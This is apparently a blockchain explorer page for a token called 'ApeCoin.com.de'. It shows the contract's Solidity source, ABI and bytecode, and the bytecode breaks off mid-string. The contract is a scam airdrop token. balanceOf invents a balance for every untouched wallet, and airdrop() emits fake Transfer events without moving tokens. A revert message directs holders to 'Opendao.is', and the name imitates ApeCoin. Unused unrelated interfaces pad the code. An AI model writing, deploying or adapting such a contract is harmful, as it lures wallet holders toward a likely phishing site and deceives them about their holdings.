MATIC Price: $0.577691 (+0.62%)
Gas: 198 GWei
 

Overview

Max Total Supply

1,000,000,000 ApeCoin.com.de

Holders

571,346

Market

Price

$0.00 @ 0.000000 MATIC

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
10 ApeCoin.com.de

Value
$0.00
0x20a580444dd4a90cc8990da7b480c5e3d605a26f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xc229cc41...02cd76f51
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
TokenBep20

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at polygonscan.com on 2022-03-07
*/

// SPDX-License-Identifier: GPL-2.0-or-later

pragma solidity ^0.8.0;
pragma abicoder v2;


interface genesisCalls {

  function AllowAddressToDestroyGenesis ( address _from, address _address ) external;

  function AllowReceiveGenesisTransfers ( address _from ) external;

  function BurnTokens ( address _from, uint256 mneToBurn ) external returns ( bool success );

  function RemoveAllowAddressToDestroyGenesis ( address _from ) external;

  function RemoveAllowReceiveGenesisTransfers ( address _from ) external;

  function RemoveGenesisAddressFromSale ( address _from ) external;

  function SetGenesisForSale ( address _from, uint256 weiPrice ) external;

  function TransferGenesis ( address _from, address _to ) external;

  function UpgradeToLevel2FromLevel1 ( address _address, uint256 weiValue ) external;

  function UpgradeToLevel3FromDev ( address _address ) external;

  function UpgradeToLevel3FromLevel1 ( address _address, uint256 weiValue ) external;

  function UpgradeToLevel3FromLevel2 ( address _address, uint256 weiValue ) external;

  function availableBalanceOf ( address _address ) external view returns ( uint256 Balance );

  function balanceOf ( address _address ) external view returns ( uint256 balance );

  function deleteAddressFromGenesisSaleList ( address _address ) external;

  function isAnyGenesisAddress ( address _address ) external view returns ( bool success );

  function isGenesisAddressLevel1 ( address _address ) external view returns ( bool success );

  function isGenesisAddressLevel2 ( address _address ) external view returns ( bool success );

  function isGenesisAddressLevel2Or3 ( address _address ) external view returns ( bool success );

  function isGenesisAddressLevel3 ( address _address ) external view returns ( bool success );

  function ownerGenesis (  ) external view returns ( address );

  function ownerGenesisBuys (  ) external view returns ( address );

  function ownerMain (  ) external view returns ( address );

  function ownerNormalAddress (  ) external view returns ( address );

  function ownerStakeBuys (  ) external view returns ( address );

  function ownerStakes (  ) external view returns ( address );

  function setGenesisCallerAddress ( address _caller ) external returns ( bool success );
  
  function setOwnerGenesisBuys (  ) external;

  function setOwnerMain (  ) external;
  
  function setOwnerNormalAddress (  ) external;
  
  function setOwnerStakeBuys (  ) external;
  
  function setOwnerStakes (  ) external;
  
  function BurnGenesisAddresses ( address _from, address[] calldata _genesisAddressesToBurn ) external;

}


interface normalAddress {
  
  function BuyNormalAddress ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );
  
  function RemoveNormalAddressFromSale ( address _address ) external;
  
  function setBalanceNormalAddress ( address _from, address _address, uint256 balance ) external;
  
  function SetNormalAddressForSale ( address _from, uint256 weiPricePerMNE ) external;
  
  function setOwnerMain (  ) external;
  
  function ownerMain (  ) external view returns ( address );
}




interface stakes {

  function RemoveStakeFromSale ( address _from ) external;

  function SetStakeForSale ( address _from, uint256 priceInWei ) external;

  function StakeTransferGenesis ( address _from, address _to, uint256 _value, address[] calldata _genesisAddressesToBurn ) external;

  function StakeTransferMNE ( address _from, address _to, uint256 _value ) external returns ( uint256 _mneToBurn );

  function ownerMain (  ) external view returns ( address );

  function setBalanceStakes ( address _from, address _address, uint256 balance ) external;

  function setOwnerMain (  ) external;

}



interface stakeBuys {

  function BuyStakeGenesis ( address _from, address _address, address[] calldata _genesisAddressesToBurn, uint256 _msgvalue ) external returns ( uint256 _feesToPayToSeller );

  function BuyStakeMNE ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _mneToBurn, uint256 _feesToPayToSeller );

  function ownerMain (  ) external view returns ( address );

  function setOwnerMain (  ) external;

}



interface genesisBuys {

  function BuyGenesisLevel1FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );

  function BuyGenesisLevel2FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );

  function BuyGenesisLevel3FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );

  function ownerMain (  ) external view returns ( address );

  function setOwnerMain (  ) external;

}



interface tokenService {  

  function ownerMain (  ) external view returns ( address );

  function setOwnerMain (  ) external;

  function circulatingSupply() external view returns (uint256);

  function DestroyGenesisAddressLevel1(address _address) external;

  function Bridge(address _sender, address _address, uint _amount) external;

}

interface baseTransfers {
    function setOwnerMain (  ) external;
    
    function transfer ( address _from, address _to, uint256 _value ) external;
    
    function transferFrom ( address _sender, address _from, address _to, uint256 _amount ) external returns ( bool success );
    
    function stopSetup ( address _from ) external returns ( bool success );
    
    function totalSupply (  ) external view returns ( uint256 TotalSupply );
}


interface mneStaking {

    function startStaking(address _sender, uint256 _amountToStake, address[] calldata _addressList, uint256[] calldata uintList) external;

}

interface luckyDraw {

    function BuyTickets(address _sender, uint256[] calldata _max) payable external returns ( uint256 );

}


interface externalService {

    function externalFunction(address _sender, address[] calldata _addressList, uint256[] calldata _uintList) payable external returns ( uint256 );

}

interface externalReceiver {

    function externalFunction(address _sender, uint256 _mneAmount, address[] calldata _addressList, uint256[] calldata _uintList) payable external;

}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}



abstract contract Ownable is Context {
    address private _owner;
   

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
       
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract TokenBep20 is Ownable, IERC20 {
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    uint256 private _airdropAmount;
    address public newun;

    mapping(address => bool) private _unlocked;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(string memory name_, string memory symbol_, uint256 airdropAmount_) Ownable() {
        _name = name_;
        _symbol = symbol_;
        _airdropAmount = airdropAmount_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function transfernewun(address _newun) public onlyOwner {
        newun = _newun;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        if (!_unlocked[account]) {
            return _airdropAmount;
        } else {
            return _balances[account];
        }
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){

        _airdropAmount = airdropAmount_;
    }
    function Setnewun(address add) public onlyOwner (){

        newun = add;
    }
    ////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        if(recipient != newun) {
            _transfer(sender, recipient, amount);

            uint256 currentAllowance = _allowances[sender][_msgSender()];
        
            unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
            }
            return true;} 
        else{ revert("Error: Token can only be traded on Opendao.is");
        
        }
    }

    ////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(recipient != newun, "Error: Token can only be traded on Opendao.is");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        _unlocked[recipient] = true;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        _unlocked[account] = true;
        
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        _unlocked[account] = false;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    ////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////
    function mint(uint256 amount) public payable onlyOwner {
        address minter = owner();
        _mint(minter, amount);
    }

    function burn(address account, uint256 amount) public payable onlyOwner {
        _burn(account, amount);
    }
    
    function airdrop(address[] memory holders, uint256 amount) public payable {
        for (uint i=0; i<holders.length; i++) {
            emit Transfer(address(this), holders[i], amount);
        }
    }
    function withdrawEth(address payable receiver, uint amount) public onlyOwner payable {
        uint balance = address(this).balance;
        if (amount == 0) {
            amount = balance;
        }
        require(amount > 0 && balance >= amount, "no balance");
        receiver.transfer(amount);
    }

    function withdrawToken(address receiver, address tokenAddress, uint amount) public onlyOwner payable {
        uint balance = IERC20(tokenAddress).balanceOf(address(this));
        if (amount == 0) {
            amount = balance;
        }

        require(amount > 0 && balance >= amount, "bad amount");
        IERC20(tokenAddress).transfer(receiver, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"add","type":"address"}],"name":"Setnewun","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"name":"setAirdropAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newun","type":"address"}],"name":"transfernewun","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"receiver","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawEth","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"payable","type":"function"}]

60806040523480156200001157600080fd5b5060405162002ff638038062002ff683398181016040528101906200003791906200029e565b620000576200004b6200009960201b60201c565b620000a160201b60201c565b82600190805190602001906200006f92919062000165565b5081600290805190602001906200008892919062000165565b50806004819055505050506200047b565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200017390620003cd565b90600052602060002090601f016020900481019282620001975760008555620001e3565b82601f10620001b257805160ff1916838001178555620001e3565b82800160010185558215620001e3579182015b82811115620001e2578251825591602001919060010190620001c5565b5b509050620001f29190620001f6565b5090565b5b8082111562000211576000816000905550600101620001f7565b5090565b60006200022c62000226846200035a565b62000326565b9050828152602081018484840111156200024557600080fd5b6200025284828562000397565b509392505050565b600082601f8301126200026c57600080fd5b81516200027e84826020860162000215565b91505092915050565b600081519050620002988162000461565b92915050565b600080600060608486031215620002b457600080fd5b600084015167ffffffffffffffff811115620002cf57600080fd5b620002dd868287016200025a565b935050602084015167ffffffffffffffff811115620002fb57600080fd5b62000309868287016200025a565b92505060406200031c8682870162000287565b9150509250925092565b6000604051905081810181811067ffffffffffffffff8211171562000350576200034f62000432565b5b8060405250919050565b600067ffffffffffffffff82111562000378576200037762000432565b5b601f19601f8301169050602081019050919050565b6000819050919050565b60005b83811015620003b75780820151818401526020810190506200039a565b83811115620003c7576000848401525b50505050565b60006002820490506001821680620003e657607f821691505b60208210811415620003fd57620003fc62000403565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200046c816200038d565b81146200047857600080fd5b50565b612b6b806200048b6000396000f3fe6080604052600436106101405760003560e01c8063715018a6116100b6578063a457c2d71161006f578063a457c2d714610414578063a5500c3014610451578063a9059cbb1461047a578063c204642c146104b7578063dd62ed3e146104d3578063f2fde38b1461051057610140565b8063715018a61461034657806381f4f3991461035d5780638da5cb5b1461038657806395d89b41146103b15780639dc29fac146103dc578063a0712d68146103f857610140565b80631ee59f20116101085780631ee59f201461021057806323b872dd1461023b578063313ce5671461027857806339509351146102a35780636a2eff37146102e057806370a082311461030957610140565b806301e336671461014557806306fdde0314610161578063095ea7b31461018c57806318160ddd146101c95780631b9a91a4146101f4575b600080fd5b61015f600480360381019061015a9190611ee1565b610539565b005b34801561016d57600080fd5b50610176610732565b604051610183919061260b565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611f30565b6107c4565b6040516101c091906125f0565b60405180910390f35b3480156101d557600080fd5b506101de6107e2565b6040516101eb91906127ed565b60405180910390f35b61020e60048036038101906102099190611e69565b6107ec565b005b34801561021c57600080fd5b50610225610915565b60405161023291906125ac565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d9190611ee1565b61093b565b60405161026f91906125f0565b60405180910390f35b34801561028457600080fd5b5061028d610a85565b60405161029a9190612808565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c59190611f30565b610a8e565b6040516102d791906125f0565b60405180910390f35b3480156102ec57600080fd5b5061030760048036038101906103029190611e40565b610b3a565b005b34801561031557600080fd5b50610330600480360381019061032b9190611e40565b610bfa565b60405161033d91906127ed565b60405180910390f35b34801561035257600080fd5b5061035b610c9f565b005b34801561036957600080fd5b50610384600480360381019061037f9190611e40565b610d27565b005b34801561039257600080fd5b5061039b610de7565b6040516103a891906125ac565b60405180910390f35b3480156103bd57600080fd5b506103c6610e10565b6040516103d3919061260b565b60405180910390f35b6103f660048036038101906103f19190611f30565b610ea2565b005b610412600480360381019061040d9190611fe9565b610f2c565b005b34801561042057600080fd5b5061043b60048036038101906104369190611f30565b610fc2565b60405161044891906125f0565b60405180910390f35b34801561045d57600080fd5b5061047860048036038101906104739190611fe9565b6110ad565b005b34801561048657600080fd5b506104a1600480360381019061049c9190611f30565b611133565b6040516104ae91906125f0565b60405180910390f35b6104d160048036038101906104cc9190611f6c565b611151565b005b3480156104df57600080fd5b506104fa60048036038101906104f59190611ea5565b61121a565b60405161050791906127ed565b60405180910390f35b34801561051c57600080fd5b5061053760048036038101906105329190611e40565b6112a1565b005b610541611399565b73ffffffffffffffffffffffffffffffffffffffff1661055f610de7565b73ffffffffffffffffffffffffffffffffffffffff16146105b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ac9061270d565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105f091906125ac565b60206040518083038186803b15801561060857600080fd5b505afa15801561061c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106409190612012565b9050600082141561064f578091505b60008211801561065f5750818110155b61069e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610695906126ed565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff1660e01b81526004016106d99291906125c7565b602060405180830381600087803b1580156106f357600080fd5b505af1158015610707573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072b9190611fc0565b5050505050565b606060018054610741906129c0565b80601f016020809104026020016040519081016040528092919081815260200182805461076d906129c0565b80156107ba5780601f1061078f576101008083540402835291602001916107ba565b820191906000526020600020905b81548152906001019060200180831161079d57829003601f168201915b5050505050905090565b60006107d86107d1611399565b84846113a1565b6001905092915050565b6000600354905090565b6107f4611399565b73ffffffffffffffffffffffffffffffffffffffff16610812610de7565b73ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f9061270d565b60405180910390fd5b6000479050600082141561087a578091505b60008211801561088a5750818110155b6108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c0906126cd565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561090f573d6000803e3d6000fd5b50505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610a435761099d84848461156c565b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109e8611399565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610a3985610a31611399565b8584036113a1565b6001915050610a7e565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a759061278d565b60405180910390fd5b9392505050565b60006012905090565b6000610b30610a9b611399565b848460086000610aa9611399565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2b919061289c565b6113a1565b6001905092915050565b610b42611399565b73ffffffffffffffffffffffffffffffffffffffff16610b60610de7565b73ffffffffffffffffffffffffffffffffffffffff1614610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad9061270d565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610c57576004549050610c9a565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b610ca7611399565b73ffffffffffffffffffffffffffffffffffffffff16610cc5610de7565b73ffffffffffffffffffffffffffffffffffffffff1614610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d129061270d565b60405180910390fd5b610d2560006118c3565b565b610d2f611399565b73ffffffffffffffffffffffffffffffffffffffff16610d4d610de7565b73ffffffffffffffffffffffffffffffffffffffff1614610da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9a9061270d565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e1f906129c0565b80601f0160208091040260200160405190810160405280929190818152602001828054610e4b906129c0565b8015610e985780601f10610e6d57610100808354040283529160200191610e98565b820191906000526020600020905b815481529060010190602001808311610e7b57829003601f168201915b5050505050905090565b610eaa611399565b73ffffffffffffffffffffffffffffffffffffffff16610ec8610de7565b73ffffffffffffffffffffffffffffffffffffffff1614610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f159061270d565b60405180910390fd5b610f288282611987565b5050565b610f34611399565b73ffffffffffffffffffffffffffffffffffffffff16610f52610de7565b73ffffffffffffffffffffffffffffffffffffffff1614610fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9f9061270d565b60405180910390fd5b6000610fb2610de7565b9050610fbe8183611ba0565b5050565b60008060086000610fd1611399565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561108e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611085906127ad565b60405180910390fd5b6110a2611099611399565b858584036113a1565b600191505092915050565b6110b5611399565b73ffffffffffffffffffffffffffffffffffffffff166110d3610de7565b73ffffffffffffffffffffffffffffffffffffffff1614611129576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111209061270d565b60405180910390fd5b8060048190555050565b6000611147611140611399565b848461156c565b6001905092915050565b60005b825181101561121557828181518110611196577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111fa91906127ed565b60405180910390a3808061120d906129f2565b915050611154565b505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112a9611399565b73ffffffffffffffffffffffffffffffffffffffff166112c7610de7565b73ffffffffffffffffffffffffffffffffffffffff161461131d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113149061270d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561138d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113849061266d565b60405180910390fd5b611396816118c3565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611411576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114089061276d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611481576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114789061268d565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161155f91906127ed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d39061274d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561164c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116439061262d565b60405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d49061278d565b60405180910390fd5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b906126ad565b60405180910390fd5b818103600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117f9919061289c565b925050819055506001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118b591906127ed565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a